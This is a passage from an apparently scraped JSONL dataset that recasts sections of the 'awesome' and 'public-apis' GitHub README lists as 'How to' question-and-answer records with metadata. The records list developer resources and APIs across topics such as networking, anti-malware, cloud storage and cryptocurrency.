Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)\n- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.\n\t- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.\n\t- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.\n\t- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.\n\t- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.\n\t- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)\n- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)\n- [Open Source Society University](https://github.com/ossu/computer-science#readme)\n- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)\n- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.\n- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)\n- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.\n- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing that utilizes quantum mechanics and qubits on quantum computers.\n- [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique.\n- [Conversational AI](https://github.com/jyguyomarch/awesome-conversational-ai#readme) - Build awesome chatbots and digital assistants.\n- [Generative AI](https://github.com/steven2358/awesome-generative-ai#readme) - Automatically generates a wide range of unique content in text, image, and audio format.\n- [Position-Based Quantum Cryptography](https://github.com/Renaller/awesome-position-based-quantum-cryptography#readme) - Theory on quantum cryptography that utilizes special relativistic constraints to achieve quantum-security under certain conditions.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034201"}
{"id": "gh_f18970666db0", "question": "How to: Development Environment", "question_body": "About sindresorhus/awesome", "answer": "- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.\n- [Dev Env](https://github.com/jondot/awesome-devenv#readme)\n- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)\n- [Shell](https://github.com/alebcay/awesome-shell#readme)\n- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.\n- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)\n- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)\n- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.\n\t- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)\n\t- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)\n\t- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.\n- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)\n- [Git Tips](https://github.com/git-tips/tips#readme)\n- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.\n- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.\n- [SSH](https://github.com/moul/awesome-ssh#readme)\n- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)\n- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.\n- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.\n- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.\n- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)\n- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.\n- [WezTerm](https://github.com/michaelbrusegard/awesome-wezterm#readme) - Powerful cross-platform terminal emulator.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034215"}
{"id": "gh_a2279ff3d2eb", "question": "How to: Entertainment", "question_body": "About sindresorhus/awesome", "answer": "- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.\n- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)\n- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)\n- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)\n- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034221"}
{"id": "gh_30bb039fcc32", "question": "How to: Content Management Systems", "question_body": "About sindresorhus/awesome", "answer": "- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)\n- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.\n- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.\n- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.\n- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.\n- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.\n- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.\n- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.\n- [Directus](https://github.com/directus-community/awesome-directus#readme) - A real-time API and app dashboard for managing SQL database content.\n- [Plone](https://github.com/collective/awesome-plone#readme) - Open source Python CMS.\n- [Payload](https://github.com/DanailMinchev/awesome-payload#readme) - Next.js native and open source headless CMS.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034234"}
{"id": "gh_97a3b09d1671", "question": "How to: Networking", "question_body": "About sindresorhus/awesome", "answer": "- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)\n- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)\n- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.\n- [SNMP](https://github.com/eozer/awesome-snmp#readme) - A protocol for collecting, modifying, and organizing information about managed devices on IP networks.\n- [Scapy](https://github.com/secdev/awesome-scapy#readme) - Python-based interactive packet manipulation.\n- [Cilium](https://github.com/seifrajhi/awesome-cilium#readme) - Provides networking and security capabilities for containerized apps, microservices, and virtual machines.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034243"}
{"id": "gh_70ac17f13850", "question": "How to: Decentralized Systems", "question_body": "About sindresorhus/awesome", "answer": "- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.\n- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.\n- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.\n- [Mastodon](https://github.com/hyperupcall/awesome-mastodon#readme) - Open source decentralized microblogging network.\n- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.\n- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.\n- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.\n- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.\n- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.\n- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.\n- [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources.\n- [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin.\n- [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform.\n- [ZeroNet](https://github.com/zolagonano/awesome-zeronet#readme) - A decentralized web-like network of peer-to-peer users.\n- [Cosmos SDK](https://github.com/cosmos/awesome-cosmos#readme) - Modular framework for building app-specific blockchains in Go.\n- [Tor](https://github.com/polycarbohydrate/awesome-tor#readme) - A free overlay network for enabling anonymous communication.\n- [ATProto](https://github.com/atblueprints/awesome-atproto#readme) - Open, decentralized network for building social apps.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034250"}
{"id": "gh_1a9e0ad64fd4", "question": "How to: Health and Social Science", "question_body": "About sindresorhus/awesome", "answer": "- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.\n- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.\n- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.\n- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.\n- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.\n- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.\n- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.\n- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.\n- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.\n- [Digital Humanities](https://github.com/dh-tech/awesome-digital-humanities#readme) - Software for humanities scholars using quantitative or computational methods.\n- [Lucid Dreams](https://github.com/IAmCoder/awesome-lucid-dreams#readme) - A dream where one becomes aware they are dreaming.\n- [Neuroimaging](https://github.com/NPACore/awesome-neuroimaging#readme) - Software for analyzing brain data from living subjects.\n- [Transgender](https://github.com/cvyl/awesome-transgender#readme) - Someone whose gender identity differs from their assigned birth sex.", "tags": ["sindresorhus"], "source": "github_gists", "category": "sindresorhus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 429956, "answer_score": 10, "has_code": false, "url": "https://github.com/sindresorhus/awesome", "collected_at": "2026-01-16T23:28:44.034257"}
{"id": "gh_736adc15b374", "question": "How to: APILayer APIs", "question_body": "About public-apis/public-apis", "answer": "| API | Description | Call this API |\n|:---|:---|:---|\n| [IPstack](https://ipstack.com/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers) | Locate and Identify Website Visitors by IP Address | [\n](https://god.gw.postman.com/run-collection/10131015-55145132-244c-448c-8e6f-8780866e4862?action=collection%2Ffork&source=rip_markdown&collection-url=entityId%3D10131015-55145132-244c-448c-8e6f-8780866e4862%26entityType%3Dcollection%26workspaceId%3D2b7498b6-6d91-4fa8-817f-608441fe42a8)|\n| [Marketstack](https://marketstack.com/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers) | Free, easy-to-use REST API interface delivering worldwide stock market data in JSON format | [\n](https://god.gw.postman.com/run-collection/10131015-9cbac391-3611-4f50-9bfd-d24ae41c97c1?action=collection%2Ffork&source=rip_markdown&collection-url=entityId%3D10131015-9cbac391-3611-4f50-9bfd-d24ae41c97c1%26entityType%3Dcollection%26workspaceId%3D2b7498b6-6d91-4fa8-817f-608441fe42a8)|\n| [Weatherstack](https://weatherstack.com/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers) | Retrieve instant, accurate weather information for any location in the world in lightweight JSON format | [\n](https://god.gw.postman.com/run-collection/10131015-276c4312-f682-425d-b6b1-0f82c0a7f2b3?action=collection%2Ffork&source=rip_markdown&collection-url=entityId%3D10131015-276c4312-f682-425d-b6b1-0f82c0a7f2b3%26entityType%3Dcollection%26workspaceId%3D2b7498b6-6d91-4fa8-817f-608441fe42a8)|\n| [Numverify](https://numverify.com/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers ) | Global Phone Number Validation & Lookup JSON API |[\n](https://god.gw.postman.com/run-collection/10131015-0760d25e-b802-412e-b0e4-26e5ca3b9ffa?action=collection%2Ffork&source=rip_markdown&collection-url=entityId%3D10131015-0760d25e-b802-412e-b0e4-26e5ca3b9ffa%26entityType%3Dcollection%26workspaceId%3D2b7498b6-6d91-4fa8-817f-608441fe42a8)|\n| [Fixer](https://fixer.io/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers) | Fixer is a simple and lightweight API for current and historical foreign exchange (forex) rates. |[\n](https://god.gw.postman.com/run-collection/10131015-0d9c66b3-5f1a-42ed-a5ca-379217bd629d?action=collection%2Ffork&source=rip_markdown&collection-url=entityId%3D10131015-0d9c66b3-5f1a-42ed-a5ca-379217bd629d%26entityType%3Dcollection%26workspaceId%3D2b7498b6-6d91-4fa8-817f-608441fe42a8)|\n| [Aviationstack](https://aviationstack.com/?utm_source=Github&utm_medium=Referral&utm_campaign=Public-apis-repo-Best-sellers) | Free, real-time flight status and global Aviation data API |[\n](https://god.gw.postman.com/run-collection/10131015-72ee0d35-018e-4370-a2b6-a66d3ebd5b5a?action=collection/fork)|", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998242"}
{"id": "gh_8864fb54a21c", "question": "How to: Learn more about Public APIs", "question_body": "About public-apis/public-apis", "answer": "Get Involved\n* [Contributing Guide](CONTRIBUTING.md)\n* [API for this project](https://github.com/davemachado/public-api)\n* [Issues](https://github.com/public-apis/public-apis/issues)\n* [Pull Requests](https://github.com/public-apis/public-apis/pulls)\n* [LICENSE](LICENSE)", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998258"}
{"id": "gh_0eec1ae9b302", "question": "How to: Anti-Malware", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [AbuseIPDB](https://docs.abuseipdb.com/) | IP/domain/URL reputation | `apiKey` | Yes | Unknown |\n| [AlienVault Open Threat Exchange (OTX)](https://otx.alienvault.com/api) | IP/domain/URL reputation | `apiKey` | Yes | Unknown |\n| [CAPEsandbox](https://capev2.readthedocs.io/en/latest/usage/api.html) | Malware execution and analysis | `apiKey` | Yes | Unknown |\n| [Google Safe Browsing](https://developers.google.com/safe-browsing/) | Google Link/Domain Flagging | `apiKey` | Yes | Unknown |\n| [MalDatabase](https://maldatabase.com/api-doc.html) | Provide malware datasets and threat intelligence feeds | `apiKey` | Yes | Unknown |\n| [MalShare](https://malshare.com/doc.php) | Malware Archive / file sourcing | `apiKey` | Yes | No |\n| [MalwareBazaar](https://bazaar.abuse.ch/api/) | Collect and share malware samples | `apiKey` | Yes | Unknown |\n| [Metacert](https://metacert.com/) | Metacert Link Flagging | `apiKey` | Yes | Unknown |\n| [NoPhishy](https://rapidapi.com/Amiichu/api/exerra-phishing-check/) | Check links to see if they're known phishing attempts | `apiKey` | Yes | Yes |\n| [Phisherman](https://phisherman.gg/) | IP/domain/URL reputation | `apiKey` | Yes | Unknown |\n| [Scanii](https://docs.scanii.com/) | Simple REST API that can scan submitted documents/files for the presence of threats | `apiKey` | Yes | Yes |\n| [URLhaus](https://urlhaus-api.abuse.ch/) | Bulk queries and Download Malware Samples | No | Yes | Yes |\n| [URLScan.io](https://urlscan.io/about-api/) | Scan and Analyse URLs | `apiKey` | Yes | Unknown |\n| [VirusTotal](https://www.virustotal.com/en/documentation/public-api/) | VirusTotal File/URL Analysis | `apiKey` | Yes | Unknown |\n| [Web of Trust](https://support.mywot.com/hc/en-us/sections/360004477734-API-) | IP/domain/URL reputation | `apiKey` | Yes | Unknown | \n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998284"}
{"id": "gh_5586e6701af2", "question": "How to: Art & Design", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Améthyste](https://api.amethyste.moe/) | Generate images for Discord users | `apiKey` | Yes | Unknown |\n| [Art Institute of Chicago](https://api.artic.edu/docs/) | Art | No | Yes | Yes |\n| [Colormind](http://colormind.io/api-access/) | Color scheme generator | No | No | Unknown |\n| [ColourLovers](http://www.colourlovers.com/api) | Get various patterns, palettes and images | No | No | Unknown |\n| [Cooper Hewitt](https://collection.cooperhewitt.org/api) | Smithsonian Design Museum | `apiKey` | Yes | Unknown |\n| [Dribbble](https://developer.dribbble.com) | Discover the world’s top designers & creatives | `OAuth` | Yes | Unknown |\n| [EmojiHub](https://github.com/cheatsnake/emojihub) | Get emojis by categories and groups | No | Yes | Yes |\n| [Europeana](https://pro.europeana.eu/resources/apis/search) | European Museum and Galleries content | `apiKey` | Yes | Unknown |\n| [Harvard Art Museums](https://github.com/harvardartmuseums/api-docs) | Art | `apiKey` | No | Unknown |\n| [Icon Horse](https://icon.horse) | Favicons for any website, with fallbacks | No | Yes | Yes |\n| [Iconfinder](https://developer.iconfinder.com) | Icons | `apiKey` | Yes | Unknown |\n| [Icons8](https://img.icons8.com/) | Icons (find \"search icon\" hyperlink in page) | No | Yes | Unknown |\n| [Lordicon](https://lordicon.com/) | Icons with predone Animations | No | Yes | Yes |\n| [Metropolitan Museum of Art](https://metmuseum.github.io/) | Met Museum of Art | No | Yes | No |\n| [Noun Project](http://api.thenounproject.com/index.html) | Icons | `OAuth` | No | Unknown |\n| [PHP-Noise](https://php-noise.com/) | Noise Background Image Generator | No | Yes | Yes |\n| [Pixel Encounter](https://pixelencounter.com/api) | SVG Icon Generator | No | Yes | No |\n| [Rijksmuseum](https://data.rijksmuseum.nl/object-metadata/api/) | RijksMuseum Data | `apiKey` | Yes | Unknown |\n| [Word Cloud](https://wordcloudapi.com/) | Easily create word clouds | `apiKey` | Yes | Unknown |\n| [xColors](https://x-colors.herokuapp.com/) | Generate & convert colors | No | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998295"}
{"id": "gh_c102264340f0", "question": "How to: Authentication & Authorization", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Auth0](https://auth0.com) | Easy to implement, adaptable authentication and authorization platform | `apiKey` | Yes | Yes |\n| [GetOTP](https://otp.dev/en/docs/) | Implement OTP flow quickly | `apiKey` | Yes | No |\n| [Micro User Service](https://m3o.com/user) | User management and authentication | `apiKey` | Yes | No |\n| [MojoAuth](https://mojoauth.com) | Secure and modern passwordless authentication platform | `apiKey` | Yes | Yes |\n| [SAWO Labs](https://sawolabs.com) | Simplify login and improve user experience by integrating passwordless authentication in your app | `apiKey` | Yes | Yes |\n| [Stytch](https://stytch.com/) | User infrastructure for modern applications | `apiKey` | Yes | No |\n| [Warrant](https://warrant.dev/) | APIs for authorization and access control | `apiKey` | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998302"}
{"id": "gh_f41efbdf16b0", "question": "How to: Blockchain", "question_body": "About public-apis/public-apis", "answer": "| API | Description | Auth | HTTPS | CORS |\n|---|:---|:---|:---|:---|\n| [Bitquery](https://graphql.bitquery.io/ide) | Onchain GraphQL APIs & DEX APIs | `apiKey` | Yes | Yes |\n| [Chainlink](https://chain.link/developer-resources) | Build hybrid smart contracts with Chainlink | No | Yes | Unknown |\n| [Chainpoint](https://tierion.com/chainpoint/) | Chainpoint is a global network for anchoring data to the Bitcoin blockchain | No | Yes | Unknown |\n| [Covalent](https://www.covalenthq.com/docs/api/) | Multi-blockchain data aggregator platform | `apiKey` | Yes | Unknown |\n| [Etherscan](https://etherscan.io/apis) | Ethereum explorer API | `apiKey` | Yes | Yes |\n| [Helium](https://docs.helium.com/api/blockchain/introduction/) | Helium is a global, distributed network of Hotspots that create public, long-range wireless coverage | No | Yes | Unknown |\n| [Nownodes](https://nownodes.io/) | Blockchain-as-a-service solution that provides high-quality connection via API | `apiKey` | Yes | Unknown |\n| [Steem](https://developers.steem.io/) | Blockchain-based blogging and social media website | No | No | No |\n| [The Graph](https://thegraph.com) | Indexing protocol for querying networks like Ethereum with GraphQL | `apiKey` | Yes | Unknown |\n| [Walltime](https://walltime.info/api.html) | To retrieve Walltime's market info | No | Yes | Unknown |\n| [Watchdata](https://docs.watchdata.io) | Provide simple and reliable API access to Ethereum blockchain | `apiKey` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998311"}
{"id": "gh_2d7c35008135", "question": "How to: Cloud Storage & File Sharing", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|---|:---|:---|:---|:---|\n| [AnonFiles](https://anonfiles.com/docs/api) | Upload and share your files anonymously | No | Yes | Unknown | |\n| [BayFiles](https://bayfiles.com/docs/api) | Upload and share your files | No | Yes | Unknown | |\n| [Box](https://developer.box.com/) | File Sharing and Storage | `OAuth` | Yes | Unknown | |\n| [ddownload](https://ddownload.com/api) | File Sharing and Storage | `apiKey` | Yes | Unknown | |\n| [Dropbox](https://www.dropbox.com/developers) | File Sharing and Storage | `OAuth` | Yes | Unknown | |\n| [File.io](https://www.file.io) | Super simple file sharing, convenient, anonymous and secure | No | Yes | Unknown | |\n| [Filestack](https://www.filestack.com) | Filestack File Uploader & File Upload API | `apiKey` | Yes | Unknown |    |\n| [GoFile](https://gofile.io/api) | Unlimited size file uploads for free | `apiKey` | Yes | Unknown | |\n| [Google Drive](https://developers.google.com/drive/) | File Sharing and Storage | `OAuth` | Yes | Unknown | |\n| [Gyazo](https://gyazo.com/api/docs) | Save & Share screen captures instantly | `apiKey` | Yes | Unknown | |\n| [Imgbb](https://api.imgbb.com/) | Simple and quick private image sharing | `apiKey` | Yes | Unknown | |\n| [OneDrive](https://developer.microsoft.com/onedrive) | File Sharing and Storage | `OAuth` | Yes | Unknown | |\n| [Pantry](https://getpantry.cloud/) | Free JSON storage for small projects | No | Yes | Yes | |\n| [Pastebin](https://pastebin.com/doc_api) | Plain Text Storage | `apiKey` | Yes | Unknown | |\n| [Pinata](https://docs.pinata.cloud/) | IPFS Pinning Services API | `apiKey` | Yes | Unknown | |\n| [Quip](https://quip.com/dev/automation/documentation) | File Sharing and Storage for groups | `apiKey` | Yes | Yes | |\n| [Storj](https://docs.storj.io/dcs/) | Decentralized Open-Source Cloud Storage | `apiKey` | Yes | Unknown | |\n| [The Null Pointer](https://0x0.st) | No-bullshit file hosting and URL shortening service | No | Yes | Unknown | |\n| [Web3 Storage](https://web3.storage/) | File Sharing and Storage for Free with 1TB Space | `apiKey` | Yes | Yes | |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 391360, "answer_score": 10, "has_code": true, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998333"}
{"id": "gh_1d41f3db9d54", "question": "How to: Continuous Integration", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Azure DevOps Health](https://docs.microsoft.com/en-us/rest/api/resourcehealth) | Resource health helps you diagnose and get support when an Azure issue impacts your resources | `apiKey` | No | No |\n| [Bitrise](https://api-docs.bitrise.io/) | Build tool and processes integrations to create efficient development pipelines | `apiKey` | Yes | Unknown |\n| [Buddy](https://buddy.works/docs/api/getting-started/overview) | The fastest continuous integration and continuous delivery platform | `OAuth` | Yes | Unknown |\n| [CircleCI](https://circleci.com/docs/api/v1-reference/) | Automate the software development process using continuous integration and continuous delivery | `apiKey` | Yes | Unknown |\n| [Codeship](https://docs.cloudbees.com/docs/cloudbees-codeship/latest/api-overview/) | Codeship is a Continuous Integration Platform in the cloud | `apiKey` | Yes | Unknown |\n| [Travis CI](https://docs.travis-ci.com/api/) | Sync your GitHub projects with Travis CI to test your code in minutes | `apiKey` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998341"}
{"id": "gh_b00666885855", "question": "How to: Cryptocurrency", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [0x](https://0x.org/api) | API for querying token and pool stats across various liquidity pools | No | Yes | Yes |\n| [1inch](https://1inch.io/api/) | API for querying decentralize exchange | No | Yes | Unknown |\n| [Alchemy Ethereum](https://docs.alchemy.com/alchemy/) | Ethereum Node-as-a-Service Provider | `apiKey` | Yes | Yes |\n| [apilayer coinlayer](https://coinlayer.com) | Real-time Crypto Currency Exchange Rates | `apiKey` | Yes | Unknown |\n| [Binance](https://github.com/binance/binance-spot-api-docs) | Exchange for Trading Cryptocurrencies based in China | `apiKey` | Yes | Unknown |\n| [Bitcambio](https://nova.bitcambio.com.br/api/v3/docs#a-public) | Get the list of all traded assets in the exchange | No | Yes | Unknown |\n| [BitcoinAverage](https://apiv2.bitcoinaverage.com/) | Digital Asset Price Data for the blockchain industry | `apiKey` | Yes | Unknown |\n| [BitcoinCharts](https://bitcoincharts.com/about/exchanges/) | Financial and Technical Data related to the Bitcoin Network | No | Yes | Unknown |\n| [Bitfinex](https://docs.bitfinex.com/docs) | Cryptocurrency Trading Platform | `apiKey` | Yes | Unknown |\n| [Bitmex](https://www.bitmex.com/app/apiOverview) | Real-Time Cryptocurrency derivatives trading platform based in Hong Kong | `apiKey` | Yes | Unknown |\n| [Bittrex](https://bittrex.github.io/api/v3) | Next Generation Crypto Trading Platform | `apiKey` | Yes | Unknown |\n| [Block](https://block.io/docs/basic) | Bitcoin Payment, Wallet & Transaction Data | `apiKey` | Yes | Unknown |\n| [Blockchain](https://www.blockchain.com/api) | Bitcoin Payment, Wallet & Transaction Data | `apiKey` | Yes | Unknown |\n| [blockfrost Cardano](https://blockfrost.io/) | Interaction with the Cardano mainnet and several testnets | `apiKey` | Yes | Unknown |\n| [Brave NewCoin](https://bravenewcoin.com/developers) | Real-time and historic crypto data from more than 200+ exchanges | `apiKey` | Yes | Unknown |\n| [BtcTurk](https://docs.btcturk.com/) | Real-time cryptocurrency data, graphs and API that allows buy&sell | `apiKey` | Yes | Yes |\n| [Bybit](https://bybit-exchange.github.io/docs/linear/#t-introduction) | Cryptocurrency data feed and algorithmic trading | `apiKey` | Yes | Unknown |\n| [CoinAPI](https://docs.coinapi.io/) | All Currency Exchanges integrate under a single api | `apiKey` | Yes | No |\n| [Coinbase](https://developers.coinbase.com) | Bitcoin, Bitcoin Cash, Litecoin and Ethereum Prices | `apiKey` | Yes | Unknown |\n| [Coinbase Pro](https://docs.pro.coinbase.com/#api) | Cryptocurrency Trading Platform | `apiKey` | Yes | Unknown |\n| [CoinCap](https://docs.coincap.io/) | Real time Cryptocurrency prices through a RESTful API | No | Yes | Unknown |\n| [CoinDCX](https://docs.coindcx.com/) | Cryptocurrency Trading Platform | `apiKey` | Yes | Unknown |\n| [CoinDesk](https://old.coindesk.com/coindesk-api/) | CoinDesk's Bitcoin Price Index (BPI) in multiple currencies | No | Yes | Unknown |\n| [CoinGecko](http://www.coingecko.com/api) | Cryptocurrency Price, Market, and Developer/Social Data | No | Yes | 